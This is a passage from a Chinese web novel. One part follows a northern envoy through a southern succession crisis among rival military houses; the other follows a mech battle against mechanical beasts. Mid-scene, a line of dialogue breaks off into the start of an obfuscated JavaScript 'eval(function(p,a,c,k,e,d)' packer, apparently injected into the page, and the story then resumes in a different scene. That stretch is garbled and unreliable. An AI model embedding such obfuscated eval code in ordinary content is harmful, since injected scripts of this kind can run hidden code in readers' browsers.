“啊，不好意思，我不是故意的。” 夜兰尴尬的笑着接过御寒服，笑容吓了玛丽安一跳。 “我叫夜兰，是特使，你们回去吧。” 她说完向身后摆摆手，北极人员就乘船返回了，超长的黑发洒在夜兰背后，一身黑袍披着御寒服在海岸工地的钢梁上迎风站立，气势不输最有威严的将军，她望向东岸。 首先望见架在家山山腰横连向东部山脉的巨门顶端，巨门东侧是令世人震惊的通天山崖巨壁，山壁直耸陡峭，直入冰天，几乎捅到了天上运行的灵能时区飞艇，夜兰想象自己站在那山顶踮起脚尖就能摸到飞艇，山崖全貌像被某种未知力量的强大冲击波推成的岩石巨浪，这巨浪形状的山脉横挡在南极海岸与内陆之间，成为南极防御北极的一道天堑。 看完激动人心的山脉才会平视前方，四大宏大无比的仓库分隔着整个海岸，岸中部有一耀眼的白光金字塔，这是夜空的灵能飞艇投下的光照，光中似有无数人影忙碌。而其他工地设备周边就空无一人。 “您想先对海岸观光一番吗？夜兰特使。” “啊不用了，我就是看看，我扶您。” 夜兰扶玛丽安登上钢梁，听她指着各景点介绍。 “这个敦实的土山叫家山，山上的粗塔叫家园堡，山腰往东这个大铁门叫雪牢关，是通往南极内陆的唯一大道，铁门再往东这个陡峭的山脉是生长金属拟态成的山体，山后面是赛博空港。再看海岸，从西往东有四个巨大的飞艇仓库！是2000多年前造飞艇的设施，以这四个机库为基地，依次是造船厂，天梯工程公司，太空城，超重工业中心，最东边是物资基地，整个海岸是古代的太空工业中心，所以这里叫海岸太空工业区。” “噢噢，我头一次出来，看到这么好看的风景很开心，不观光了。我得见到南极的负责人，提出极密计划的协助要求。” 玛丽安扶夜兰上车，车辆履带搅碎冰渣，缓缓启动，车内暖气机也开始嗡嗡作响，夜兰看着玛丽安脱掉外套又开始脱裤子，就止不住的尬笑。 “啊！对对对！我忘了你们北极的队服有御寒科技，真好啊，我们南极人下车前就得换上厚实的防寒服哎，呐，我里面穿着紧身丝裤呢！” 玛丽安说着，半起身拿到挂着的红色军官上衣，披上再缩手钻入袖子，最后踩穿着参谋放地上的黑色高跟鞋，简单整理完仪容后，凭经验感觉夜兰似乎只是个沉默寡言的少女。 “你来的不凑巧，女王驾崩导致海岸完全由灵能会机械兵团接管，我们得先到太空城，就是灵能飞艇照的那片区域，我带你见团长咖啡，请她放行，我们就能入关了，我再打听银雪小公主的位置，带你见她。” 夜兰点点头后就漠不关心，继续对着窗外张望。 玛丽安听车辆逐渐靠近机械兵团传来的电子设备声就判断出，每过一天，机械兵团的母巢就又生产出近百只机械人偶。 她听司机停车与人偶交涉过后车速就变的缓慢移动，推测应该有某只人偶跟在车后面。 机械军团长咖啡这段时间脑子嗡嗡的，感觉一直有不明数据流过电子大脑，她猜测可能是灵能会又在她脑袋里动了什么手脚，她既喜欢这些不断增加的机械人偶姐妹，又讨厌她们毫无思想，只能机械的听从灵能会的指示行动。 丝质光滑的围裙花边是她最解压的玩具。 好想念冰雪啊，她芯想。 服侍冰雪女王的那两年时光，是她3000多年机械人生中最像人的日子，所以她爱这些围裙，每到这种思念过去的时间，咖啡就寻找机械人偶少的区域，找一个高点坐着监督机械兵团运行。 咖啡？ 她脑子似乎听到一声熟悉的语音。 “谁？” “第310051号机械人偶报告灵能会机械兵团团长咖啡大人，海岸西角人类部队的指挥官携带北极特使求见。” “什么请求。” “开启雪牢关，进入内陆。” 咖啡远远望见玛丽安身穿单衣，哆哆嗦嗦的拉着一个高大的女性向她走来。 “放行。” 她说完这句话，发现这两个人类身后的机械人偶有些古怪，似乎大了一圈，想了想也许是距离远的误判，就没在意，继续监督机械母巢运行。 玛丽安听到放行就一路小跑钻回车辆，等夜兰上车，夜兰边走边扭头打量身后的机械人偶，她看这人偶鼻息间还冒着热气，胸口也随之起伏，她心想南极就是厉害，机器人都造的和真的一样！她一上车就像个活泼孩子讲述着。 “玛丽安大人！机械人偶为什么穿围裙呢？她们要给人类做饭嘛？” “嘶！冻冻冻死我了，冰雪女王活着时候邀请机械兵团进入人类社会调查研究，就当女佣呗，那时我家也有一个！哎呀超级好用呢！说到底，这些家伙原本是机械时代南极机器人服务公司开发的佣人，现在拿起刀枪要杀人了呀！” “噢噢，真可惜，那个机械人偶好像一直跟着我们。” 玛丽安皱眉起身向后窗看，一个魁梧散碎的机械人偶跑步跟在车后。 “嗯，可能是因为灵能会加强了海岸巡查，咖啡派人监督我们的行踪，她以前办事不这么琐碎的，今天怎么了呢？车后这家伙也太破烂了吧！还冒着蒸气！感觉走不了多远就散架了，算了，不管它，我们进入内陆就加速行驶。” 生长金属拟态成的黑色巨门发出嗡隆巨响，两扇门缓慢退入山体，车辆在机械人偶们引导下通过了雪牢关，夜兰立刻跪到东侧长椅上张望，看到关内的家山的山腰仍然圆润，向南延伸出缓坡山脚，从内陆看家园堡更大，就好像山体被家园堡砸出一个凹坑。 她再跑步，坐到东侧窗口，发现那陡峭山崖向内陆弯出一个钩形山脚，这山坡弯急且光滑，夜兰想象自己在这山坡上滑雪操作不好就会摔死。 “团长！到业凰环丘了，前面有千家兵团密集布防，我看您要不下车去沟通一下，我们再过去。不让过的话，我们就绕道赛博空港，从风家和阳家阵地的空隙穿过去，能到首都。” “首都？小公主指不定在谁手上！哎，我穿！我下车问问去千里，那小丫头邪里邪气的不好说话，你们停在环丘后，有部队包围过来就先撤回雪牢关！必须保证北极特使安全！” “遵命！” 玛丽安非常讨厌这身臃肿的防寒服，随从卫兵挎枪走在前面，玛丽安大喊：“你别去了，我一个人就行。” 她说完，在车后绕了一圈，发现那个古怪的机械人偶不见了，仔细检查车身后，独自登上低矮的雪丘，这条雪丘呈半环状，就好像强大冲击波产生的第二道波纹，环丘南侧比北侧更低，凹形的冰面过度到平滑，向南极内陆延伸出辽阔的冰原。 玛丽安看一眼业凰科学院和更远的首都，操纵滑雪板冲向厚实密集的千家军团。顶风的窒息强迫她一口气冲入军阵，撞倒众士兵后，被她们押解到千家临时指挥官面前。 “什么风？把玛丽安姐姐送到我怀里来了呀？” 说话的人抬手挽着纯白衬衫袖子，挺拔的胸前扣散开，领口别有军章，再往上看尖尖的下巴上是很有亲和力的笑容，到嘴角却有一种说不清的违和感，鼻尖漂亮，看到眼框就感觉出她有种戏谑般的精神状态，细软的白发长丝披肩，又给人一种乖巧懂事的错觉。她假意撸袖，要收拾这个擅闯军营的人。 玛丽安扭头哼了一声。 对方双手掐在黑色束腰裙子上，解开枪套掏枪在玛丽安面前晃了晃放在桌上，腰上的弹匣一个个的展示完，放好，再双手背后，鼓捣了一阵就把头伸向玛丽安。 “呐！你看！小兔子！” 玛丽安看这家伙装模作样搞完后，莫名其妙的戴上一个布做的兔耳朵就更不耐烦了。 “好看！好看！让她们把我放开，都这么没大没小！” “放开玛丽安姐姐，她要摸摸小兔子的耳朵！” “我有正事！” “不摸就不放你走！” “千里，你等这风波过去，我要不让你绕着南极海岸跑十圈，我以后就倒着走。” “哎？开个玩笑嘛！这兵荒马乱的，我想开个玩笑给大家乐乐嘛！” 千里说罢，一把揪兔耳丢在地上，双腿搭桌上，踢了一下枪。 “把这个也拿走，你们都出去，时代不同了呀！玛丽安姐姐，现在！我当家，是大人物！你说说~什么风把你吹到我这来了呀？” “北极的风。” “北极！” 千里表情严肃并放下腿，等玛丽安坐下说话。 “女王生前和北极进行着一个极密行动，这事情需要小公主决定，三家最好不要插手，以免引起北极怀疑。” “呵呵，你误会了，我才不管什么三家几家的，我就是个临时工，看大门的！大人物们胡搞！我可不想惹祸上身！咱就是只无害的小兔子，想早点回家和千鸟姐姐一起啃面饼！” “小公主在哪？” “包围圈里面的阳家手上呗！” “那你能放行吗？” 千里像听到什么天大的秘密一样眨巴着眼睛凑近，两人面对面。 “放行？” 她压低嗓音说完又突然抬高嗓音说话。 “你是说你们大摇大摆的穿过30万军队嘛？你来看看我有几个脑袋！来来看看！几个？” 玛丽安终于被她逗笑了。 “噗哈哈！哈哈，你这怪丫头，我事急糊涂了，你从东面与风家对峙的防御薄弱处给我留出一个空隙，让我们车辆开进去。” “姐！” “嗯?” 千里像犯错的孩子低下头哀愁。 “我们大家，要拔刀相向了吗？” 玛丽安走到她身边，抱住她的头，亲吻了头顶。 “这是我们上一代人挑起的恩怨，我会想办法结束它。” 众人等待玛丽安归来过程中，夜兰跟随下车透气的人员出来，站在环丘顶向南看，雪原之中，趴着一只乳白色的凤凰，下面是密密麻麻的人员和帐篷。 她想这么大风里安营一定很受罪呀，渐渐看清一个小白点向北滑行，人们看到大风舞动红色的乱发，高呼着团长回来了。 车辆先驶上环丘北坡，借着光滑坡面的惯性，全速向东行驶，当车身恢复水平的时候，夜兰看车后窗，东北方向出现振奋人心的工程奇迹！ 陡峭山脉面向内陆一侧的山体几乎垂直于地，山脉弯成一个月牙形的山谷，数不清的机械建筑组合成一个恢弘庞大的黑色机械城市，紧贴山谷平直的峭壁，机械城市周围飞舞着无数不明物体。 “啊那是赛博空港，机械太空时代的城市，里面都自律型免维护的机械，所以保留到了今天。” 玛丽安担忧小公主的安危，还不忘照顾一下北极特使的情绪。 “谢谢您，我就是头一次出来，想多看几眼。” 车辆直穿千家军团，进入一片冰面无人区，看到车前方那只乳白色凤凰趴在雪地上，凤尾环抱着林立的高塔与石厅，建筑风格与岸防连城指挥部大厅很相似，车辆转向驶往南方雪山，路上还能看到这乳白色建筑群后山坡有一大片开满冰花的雪地。 南面雪山下又是无数人头攒动，雪山中卧着一座黑色要塞，靠近看要塞被从高到底的一环环城墙隔开，即使夜兰不懂军事，也能感这座要塞的防御森严。 车辆来到军事要塞前方的大厅。 “快点走！” “噢，好好，我第一次。” “夜兰，这里是阳家主的本镇，她的人都不太礼貌，我们赶紧进去吧。” 玛丽安半个身子护住夜兰，两人随众人穿过一层层岗哨，快步跑进大厅，迈入大厅正门时，门卫大喊：“你不能进去！” “这是北极特使！” “我是说你！” “好吧，我在门外等你，别担心，你代表北极三家。” 玛丽安微笑的看着夜兰无助的眼神后继续说：“南极没人敢把你怎么样。” 夜兰被门卫推进去，就来到铺着红地毯的方形房间，房间尽头有一扇雕着漂亮荷花装饰红色大门，她卑微的站到墙角观察，门内有两个人。站在门左边的人，黄白皮肤，身披墨绿色大衣，大衣肩膀的黄丝穗肩章显示这个人级别很高，再看她一头浓密的白发，右耳侧头发编了个辫子，似乎还嫌碍事又在右刘海上别了两道发卡，左侧头发刻意剪薄了，耳根编着两条小小辫子。她也看夜兰，夜兰就回敬了笑容，她似乎也被吓到看向别处，不一会又时不时看着夜兰，她的情绪比夜兰稳定很多，表情像随心所欲闲逛一样，细眉大眼间传达的都是平常心，居然还从墨绿色上衣兜掏出一根糖棍叼着，夜兰好奇中糖棍的味道。 她看看夜兰，再指指自己嘴上的糖棍，夜兰点点头，她又摇摇头，伸指头表示只有一个。 门卫突然开门冲进来，打断了两人间的眼神交流，门卫跑到站在红门右侧的人耳边细语。 这人是披肩红发，粉白皮肤，细长的眼框中眼神刚强，下巴稍尖，面相饱满，一副慈祥笑容，金荷花领口以下系着黑色斗篷的带子，红色军服上衣的衣中间，金色荷花图案腰带扣束紧了黑裙，下身穿着贴身黑色马裤和黑钢金属鞋。 她听完门卫说话就对夜兰微笑。 “我叫阳荷，阳家的副指挥官，小公主在里面，你等一会吧。” 夜兰心想这两人看着不坏呀，南极挺好的啊。 这时红门随着轻微的抽泣声，缓缓推开，一位身着灰袍的大辫子少女走了出来，她随手关门的时候还能听见红门内有激烈怒喊和撕心裂肺的哭声。 门左侧的人上前一步轻拉少女擦泪的胳膊，问话：“茧，宫里的情况怎么样？” “千鸟大人，宫廷以及首都城内情况还好，大家都很悲伤，首都的近卫将军现在是曼达，我们有两个要求，一是风家主尽快归还冰雪女王的遗体，我们必须为女王举行王葬。” “你去了吗？” “风家主执意要求阳家主释放银雪公主回首都，或者带银雪公主一起召开三家会议调查女王的死因，她才肯归还遗体。我们第二个要求也是立即释放银雪公主！” “阳家主大人的意思呢？” “她只同意召开三家会议，甚至说前近卫将军一起谋杀了女王，所以被风家一块灭口，阳家主大人要求跟首都近卫军换防，或者让银雪公主在这里登基！我们是万万不能接受的！千家主大人也引军逼近首都是什么意思呢？” 千鸟有些难堪，拉了一下耳侧的辫子。 “家主什么都不跟我说，只说女王驾崩，首都危急，就……” 站在红门右侧的阳荷笑问：“就什么？” 千鸟微微抽动了一下嘴角，将墨绿色大衣脱下挽在手上。 “就倾巢而出突破了阳家的防线，留千里在军中，派我先来看看情况，母亲应该马上就到了，茧你要跟千家主沟通一下吗？” 灰袍少女捂面痛哭着说：“我看出来了，你们没有一个人关心尸骨未安的冰雪女王，也没有一个人关心银雪小公主的安危！我回去了，有一句话，曼达嘱咐我告诉你们，刚才忘记跟阳家主说了，不归还小公主和女王遗体，没有任何一个人能进首都！想打就来吧。” 她说完泪如泉涌，夜兰看到这少女整个眼眶都红肿着却还在激烈的悲伤，她痛哭着推门离开，没有一个人敢拦她，却也没有一个人再理她。 夜兰凭借一种直觉，几乎能透视红门里面正有一个女人在对公主施暴，这个红门内里发生的事情即将决定南极的未来。 咚的一声，率先被打破的居然是身后的门，一个披着墨绿大衣的黑发女人跨进来，又转身回去，连扇门卫两个耳光。 “什么东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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小公主猛的一个颤抖，眼泪不停流淌，抖动的嘴发出了声音。 “说……话。” 阳家主狠狠一推，小公主就倒在一旁。 阳荷推开外面的门，打了个手势，玛丽安跟了进来。 阳荷边走边解开斗篷，塞向身后的玛丽安。 “阳谋姨妈，您别着急，我们两个先商议一下南极的局势要紧。” “哎？外面局势变严峻了吗？” 阳荷走到阳家主和小公主之间，边走，边用话语引开阳家主。 “千家军团一直在缩小包围圈，可能因为千家主临时到访才停止移动了，我推测她回去会加快收紧包围，如果两军接壤就不得不开战了，我们还是尽速解决外面的问题要紧。” 阳家主拍了一下阳荷的肩膀。 “哎，我给你颁发的肩章怎么没戴上！” 她说完，来回转身，一回头看见一个红发的生面孔军官，还有地上喘息的小公主就皱眉。 阳荷忙说：“现在不是图虚荣的时候！” 顺带斥责那军官：“把小公主带下去，我们要聊公务。” 玛丽安赶紧抱起小公主往外走，边走边用斗篷给她盖好。 阳家主对门卫使了个眼色后就发现门廊内还站着一个生人。 “这谁？” 阳荷脱下手套揉着眼睛回答。 “研究机械生物动力计划，北极派来的特使夜兰。” “研究机械生物动力计划？我想想？” 阳家主掐腰回忆着。 “那好像是20年前的事了啊？不就是冰雪组织六家会议的噱头吗？怎么还真开展了啊！突然这时候开展计划！她天家主从不憋好屁！这个夜兰要干什么？” “孕育罐人的体成长数据，先进治疗椅设计图及工作原理，四小块生长金属，南极可以分享研究成果。” “这些破烂她北极就有！还分享成果，赛博空港就产微核反应堆，南极根本不缺动力！” 阳荷双手揪着阳家主的大手。 “可先进治疗椅是我们南极独有的技术啊！” “你得了吧，傻荷儿，她天家主抱着灵能会的大腿，啥技术没有？再说我记得这人不长这样啊！这家伙人高马大的！看着这么可疑！” 夜兰用她诡异的笑脸说：“旧特使黑援战死了，所以任命我为新特使。” “啧，荷儿，你派人把这三样都弄好，派我们的特使送往北极，把这个人扣下来，嗯……啧，就送进业凰科学院吧，啊？行吗？” 夜兰点点头。 “哎？我们的特使是谁来着？” “风信子，现在海岸的军中。” “怎么是风家的人？我想想，是风家主的继承人吗？” 阳荷脸上的慈祥表情完全消失，她发现阳家主的意识在混乱的局势的压力之下，已经陷入癫狂中。 “不是，风家不设继承人，冰雪女王任命的风信子，要换吗？” “她天家主就喜欢来这手，把人换来换去摸南极现在的情况。啊呀！越有正事办，天家主越给我找事，我现在没空应付她！荷儿，不换人，就让那个风信子去，我表面风平浪静，天家主就没什么办法。” “可天家主朝我们要人可怎么办？” “她要人，我还要人呢！告诉那个风信子必须呆够两个月，南极担心北极搞太快是用假成果糊弄。” 阳家主走到门外张望了一眼远方的千家军团，似乎确实比昨天逼近了很多。 她等夜兰走后，拽着阳荷，回到红门内的密室，并插牢红门。 “荷儿，现在就我们两个人，我跟你讨论一下阳家的处境。” “您说，阳谋姨妈。” “你母亲与黑家主作战，战死后，我一直尽心代理阳家事务，辅助你继承这个事业。现在我们东面有风家，西面和北面有千家，陷入包围，小公主是我们唯一的手牌。” “可下面的士官们大多赞成释放小公主。” 阳家主皱眉后又得意了。 “嗯，阳家人太善良了，他们看不懂局势。灵能会那边有什么反应？” “关闭了赛博空港和家园堡，理由是不介入南极内部冲突，只给南极提供产品。” “哦……业凰不动吗？” “没有变化。” 阳家主感到一切似乎还在她的意料之中进行。 “业凰在我们的势力范围，是遏制千家的桥头堡，加强对业凰的包围，这样灵能会更倾向于我们这边，我们必须想尽一切办法让小公主在这登基，这样才能稳住局势。” “风家和千家会同意吗？” “千家主是个老狐狸，很难对付啊，兵力又这么多，僵持久了，她肯定会切断我们与北极的联系，单方面代理南极！风家兵临首都，现在海岸空出来了，有什么办法能在千家背后的海岸搞点动作，牵制她，还能维持和北极的联系。” “有个人能力不错，是旧王权军团遗留在海岸的一支小部队，冰雪女王颁发自募兵力许可后，您让我四处征召兵力，她就加入了，部队主要成员都是红发。” “谁？” “就是刚才进来的军官，叫玛丽安，听说是孕育罐基地的护士看书时随口起的名字。” 阳家主想了想又问。 “可靠吗？” “阳家血统。” “嗯。。。给她升任将军，啧！兵过不去！以小公主的名义升任将军，让她自募扩军，千家军团内部复杂，这样能吸收走意志不坚的人员，我给千家主背后插一把缓缓变粗的刀。” “这样逼迫千家，会不会引发战争呢？我记得小公主的继承人紫洋就在千家防区内。” 阳家主一拍手掌大叫：“原来如此！我刚才就觉得千家主想除掉小公主，所以得尽快让小公主登基！” “那风家呢？” “嗨，现在的王牌是小公主，风家主扣着遗体算什么手牌？听她的要求就不够坚定，我判断她坚持不了多久就会把遗体还给首都。” “可前往首都的道路都被我们封锁了。” “嗯，久了风家就会和首都联合。难题还是首都!卡着不让小公主登基！我知道曼达傻乎乎的根本没这么大主见！这个叫茧的小丫头片子是冰雪的内务官，鬼的很！嘶！没想到老虎死了，猴子称霸王了！恨的我牙痒痒！不看她是宫廷内务官，我非宰了她不可！” 阳家主仍然憎恨灰袍少女，阳荷想尽一切可能化解冲突。 “阳谋姨妈，我去说服茧吧。” “能行吗？” “应该可以，您与冰雪女王议事的时候，我和茧负责勤务，有一些私交，她为人心软，再陈说三家的利害关系，我想她能以南极大局为重，同意小公主在这登基。” “等风波过了，我非弄死她不可！” “她在宫内孤立无援，是个孩子，也许是女王生前有什么叮嘱，您不必在意，先处理眼前的局势吧。” 人类历史中，杰出的将军必须清醒的观察全局，涵盖人文历史，天文地理，人性逻辑，武器工程等方面，视角要动态的看清所有因素互相关联波及，并怀揣这个世界，即使在生活休闲和睡觉中，也要记得所有事物在互相作用并变化，这种才华很可能是种天赋，后天无论如何学习或者锻炼，都无法具备这种能力。 当北极已经因为灵能会的压力感到人类存亡危机这种星际灾难的时刻，南极三家就像穿越回原始社会，当起了丛林野兽，读到这里的人们不要感到好笑，实际历史上就是不乏这种灭顶之灾近在眼前，人类贵族们还为这个宫殿归你，那片地盘归我，等等荒诞理由杀的你来我往，人类应当极力避免这种猴戏再次上演。 7. 章7北极：人与兽 漫天大雪，夜星的雪花有拇指肚那么大，纷纷飘落犹如一片白幕，妄图遮挡天空的黑暗，却坠在连绵起伏的雪原，广袤的雪原像温柔沉睡的白色天鹅。 绒绒白羽上，岸防机甲群在北极东部内陆集结，6台机甲围成一个圈，为黑白和红莲等士官遮出一块空地，随从参谋给每人分发热水，旁听着两人间的争论。 “红莲你对历史漠不关心，所以看不清事实。历史中从不乏英雄救世！可后来呢？后人仍然姑息俗恶，苟且偷生，一步步堕落成腐烂的羔羊。比如说这天家管辖的140万市民，她们之前当真不知道灵能会的暴行吗？任何人都知道最终战争里，天狼星灵能会打败了人类联盟。然而！这些市民选择加入天家，高歌灵能会！现在！她们没用了，被天家主安排来前线送死，这是她们报应！这种人群被你救了，她们以后还是夜星的祸根！你救的了人身，救不了人心！” 黑白将军在参谋部都很少这样大发雷霆，她激动的攥紧手杖，大号士官檐帽深深盖在头上挡住了一半眼睛，泪光晶莹，咬着嘴唇，红莲感觉到她在和自己的良心战斗，凭借博学和睿智，试图找到夜星文明前进的道路。 “我想在能力范围内尽可能帮助人，看着夜星的残破，我也在思考。” 她听红莲言语缓和，就放下手杖坐在红莲身边，再聊。 “最终战争打断了人类的脊梁，将失败种在人们心中。红莲，我很喜欢你眼中的固执，可能全夜星只有你没接受失败吧，我想你能点燃一部分人的心灵，尽管无论怎么努力，结果都被历史中的妥协者注定了。” “说一个笑话吧，天家主听了，说我是小丑，哈哈，我做事不在乎结果。” 黑白听到这话就歪头先入思考，红莲笑着起身摘掉她的帽子，摸着她细绒的发丝。 “报告！前锋中队已完成东部雪原C区外围机械生物巢穴清理，残敌向内陆逃窜，在距离我部20公里处，结成密集的机械生物群！数量不明！” 红莲跨步的同时，按开袖口的全息地图，看到前锋中队的前方有无数红点聚集成一个大红团。 红莲已经进入座舱，完成机甲转身，启动涡扇推进，向北行驶。四条纵队的后续机甲，势如切断雪原的链锯，奔腾运行，队员们以冷肃锐寂的心智，进入数十万机械生物形成的恐怖之中。 黑白将军大喊一声红莲，赶忙和随从乘上机甲。 “红莲，必须等后续中队到达指定位置。” “我们时间有限。” 红莲说完，驾驶机甲，追上前锋队伍，从最前线坡顶看到一望无际的机械生物狂潮蓄势待发，她全神灌注在铁兽群中搜索目标，1个，2个，8个，虎型越来越多。还能看到数只巨大的光亮头部和长牙的黑影，钢铁拥挤的撞击声响彻天际。 “前锋中队听我指挥，行进中盲射炮击，目标地前方5公里！” 中队9台机甲略作迟疑，听到红莲炮响，应激反应同时开炮，并肩前进。双方阵前这20公里，洁白空地，突然杀出10台机甲开火，像古代阵前挑衅的勇士。 队伍行进到4公里时，红莲就失望了，此次行动共调集50台机甲，行动目标是在战斗中分隔一个虎型捕获，现在怎么可能从近万只机械生物浪潮中分隔一个虎型呢？ 行动完全失败了，红莲中队到达5公里处又炮击了三轮，机械生物群缓慢靠近。 “撤退！黑白！行动失败了，全员迫击炮模式弹幕掩护！” “啊？没有虎型吗！” 就在两人沟通的短促时间里，数百只机械生物向红莲急奔！ 红莲率先完成转身，看清怪兽们以燕形队列冲锋，打头的是两只虎型，它两还互相吼咬，它们身后的机械集群变的松散，已经向机甲大部队移动，竟然足以使整个大地震动。 “全员炮击掩护！” 她再次呼喊，后方腾起一阵雷霆般的巨响，冲破暴风雪，炮弹落在机械生物集群中就好像毫无伤亡，但阻止了生物群的松散态势，又再次变的密集。 单剩下冲过来的这几十只了吗？ 红莲想完下令。 “前锋中队听我命令！转半身炮击迎敌，保持撤退移动，中队长。” “什么？红莲大人，炮击会导致行动速度减缓，何况又是上坡！” “你跑的快吗？” “啊？” 中队长有种不好的预感，她大口喘着粗气，心想豁出去了。 “你们可掩护好我啊！前锋中队1班开启自动炮击，弃机！” 两人爬出机甲，挺身瞭望，40多只犬型在机甲队列间穿梭，跑的快的那只虎型已经和红莲机甲接触，她俩正为红莲一炮打飞虎型爪子而叫好的时候，头顶有三道黑影挡住了一部分视线，她们随之向上看，居然有犬型的腹部在头顶。 “跳车！”副队长跳下的同时揪住中队长一起掉下，柔软蓬松的雪面带来温柔感觉顷刻就被狂暴凌乱的机械足声改变，二人在机甲狂潮的隆隆炮声和凶残的钢铁洪流中狂奔！ 暴雪随生死意念变得多情，晃动的视野里全是奔跑的钢铁，狂风冲入她们本以撕痛的肺部，此刻却只有口渴难忍，每一片飞进口腔的雪花都是对两人求生信念的鼓励，迅猛异常的重击以浑厚的节奏重复敲击大地。 “天呐？这是什么！” 后续部队在坡上一字排开看到她们作战生涯从未见过的魔境，无边黑色铁兽群下，一台围满机械生物的机甲，一边开炮，一边后退，一台被犬型扑倒的机甲上爬满了铁兽，整个中队在兽群中缓缓后撤，居然还有两个队员在这混战之中奔跑！ 第一轮大炮几乎未做瞄准就在坡上升出一线蒸气，所幸没有击中机甲。 “我是黑白，说明敌方大致位置。” “前锋中队陷入近战，生物群宽约80公里，据我部12公里并持续靠近。” 报告完毕的话语刚落，后方猛烈震动，随之巨响，机甲脚下的浮雪应声滑落。 “命令：坡上第一道机甲阵线支援前锋中队归队，此后指挥权移交给红莲。东西两列纵队保持行进，目的地坡角前方20米，后方部队保持火力覆盖，支援车后撤100公里，通知岸防连城再集结6个中队机甲以三排密集队形支援。” 黑白布置完就思考能否按原计划完成任务？如果取消任务，就再没有时间集结这样规模的队伍执行任务了。 她思考的过程中，前线跑步的两人终于爬上坡顶，她俩没站稳，随雪块一起滚下坡，爬了几步摊在地上喘气。 “黑白大人，发现两个行人！” “哦！支援车开回来三辆，一辆接上她们，其他待命。” 前锋中队在炮击支援下得以转动上肢向后全力撤退，只留下红莲机甲在后方，机械生物群眼见不能进攻，就全部转身向后，围杀红莲。 “前线指挥权归我了吗？” 众人以为听到了死人的说话，但从她语气放松来看，又感觉到信心十足。 “请下令！” “炮击呗，生物直着跑向我，你们更容易瞄准吧，我没事，机甲完好。” 人们看此时的红莲机甲难称作完好，就像狼群嘴边的肉，她绕着倒下的1班机甲残骸与一只受伤的虎型对峙，另一只虎型匍匐在犬型身后。 红莲笑说：“损失了一台机甲，不好意思，我等了这么久，这只大猫都不攻击，应该是想吃这残骸恢复爪子啊，我下令！队伍留四台不动掩护我，其余后撤5米到坡下，东西分开留30米宽空隙。” 全队在出发之前演练过，所以非常流畅，红莲用炮口逼退预备冲锋的犬型，静静的计算时间，可另一只大猫等不急了。 它撞开犬阵，迎面看到两个黑漆漆的圆口。 砰！ 虎型以其他犬型的身体挡住炮弹，红莲此刻同时完成转身，全速驶向雪坡，机械生物们混乱一刻，被虎型吼退，乱哄哄爬满残骸，吃不上的一只虎型带其他犬型继续追击近在咫尺的红莲。 上坡减速导致红莲机甲被犬型咬住拖行，幸亏炮击支援准确，红莲操作机甲爬起，又被拖倒，眼看虎型接近，她只能让机甲半蹲着，虎型扑到机甲后背的重压感，她急转左小臂，右手拉杆断开上肢联动，又马上接通，完成了前人从未运用过的机甲小臂360度旋转。 突如其来的炮击，正中虎型眼睛，巨大推力弹开虎型上肢并将红莲机甲一口气推上坡顶，她和机械生物们翻滚着跌入坡下包围圈。 黑白看着眼前的阵势，感觉非常满意，原计划是让前锋中队当诱饵，引一只虎型进入这个方形包围圈，没想到红莲靠个人能力完成诱饵任务。前锋中队与虎型作战。 “诱饵？” 黑白马上查看全息地图，原本大块的红圆散成一个弦月形，对机甲方阵实施包围。 “红莲你时间不多，我给你20秒。” 前锋中队9台机甲与7只犬型缠斗，犬型只顾逃命。 红莲观察了一下这只虎型爪子完好，它缓缓踱步假意近逼，实际是移动到了坡角，计划逃走。红莲扫视了一眼前锋中队，她明白近距离作战不能靠指挥，靠的是个体平时锻炼出的个人素质，虽然机甲配有臂刀，但是，岸防队员明显不擅长近战。 “大家站这么密，没发炮击啊。” 已经想了10秒，红莲不得不冲击虎型，它却扭身直奔角落，撞倒一台前锋机甲时被红莲用臂刀勾住，它扭身正要撕咬，就看到红莲机甲的臂刀刚从一只犬型背部拔出。 它害怕了，此时它明白这个铁人与其他铁人完全不同。 前锋中队趁机消灭了两只犬型，战况似乎按照计划进行，但红莲明白，这虎型如果完全做防御姿态，她就无法借力切断它的四肢，只能找十拿九稳的机会用炮击。 正北面的机甲墙刚运动到坡顶，就看到脚下爬满了机械生物，她们一时都不知道该先打哪只，忙乱的开炮声加剧了包围圈内虎型的挣扎，而前线坡顶居然扬起一道机械生物堆成巨浪！ 浪面扑通，涌起一个鼓包，炸开，高达20米的银白光头下这硕大的金属象牙左右晃动，长长的金属链锯，卷碎一只犬型。 坡下的虎型，趁众人被巨兽震惊之际，挣脱束缚跑向包围圈破口。 这是黑白第三次遇到猛犸型。 “撤退！撤退！撤退，不顾一切的撤退！” 混乱的炮击说明三面机甲墙都接敌了，黑白按最坏的打算得损失三分之二的机甲。 活捉虎型本来就是天方夜谭，机械生物只能一点点清理！ “所有人听我说！” 红莲赶到破口处，对巨兽的关节处开炮后继续说话。 “现在乱跑，都会死！黑白！指挥权交给我！所有人听完命令行动，并肩持续开火，前线运动成一列5台宽的纵队，东西各运动成一列5台宽的纵队，纵队最前机甲只管护住座舱！后方队伍分成2组向前堵住坡角破口，我们全员汇成一道密集横队，前排开炮，后排拖拽，挤在一起向后撤退。” 红莲顶住最初的破口，击碎了猛犸型的腿部关节，它庞大的身躯倒下压死了躲闪不及的犬型，一只虎型趁机爬上猛犸型的头部怒吼，它看到红莲的机甲就跳扑上去。红莲弹出臂刀，用左臂横挡，并断开上肢随动，再用右臂切断被咬住的左臂，同时抱住虎型。 “我叫你幸运小猫！大家执行命令！” 这个命令并不难执行，是按人的本能安排，众人本能的驾驶机甲挤在一起，被黑白大叫撤退反而忙乱，现在角落的机甲顶不住机械生物的洪流冲击，向后移动，渐渐自动集结成一个纵队，结成队形后人们只顾开炮。 后方队伍勉强运动十几米就迎面撞上了机械生物涌流，看着有犬型大军不断绕到前方机甲后背，最终机甲队伍汇成一个横队向后移动，炮火变的密集，为脱队机甲，跟上队伍争取机会。 随着弹药消耗将尽，机甲横队与机械生物浪潮拉开800米的距离，同步移动。 “黑白你在吗？” “我被猛犸型吓懵了，现在怎么办？” “问题不大，弹药不够了，我想让后队变前队，队员们能快速完成这个复杂操作吗？” “做不到。” 黑白双手向前保持着拉拽动作，她在想，原来阵前的临机应变和机甲操纵能力如此重要，大家以往太依赖固定战术和队形了，可是像红莲这样的全能指挥官太少，黑白也只能思考出适用于所有士官的战法。 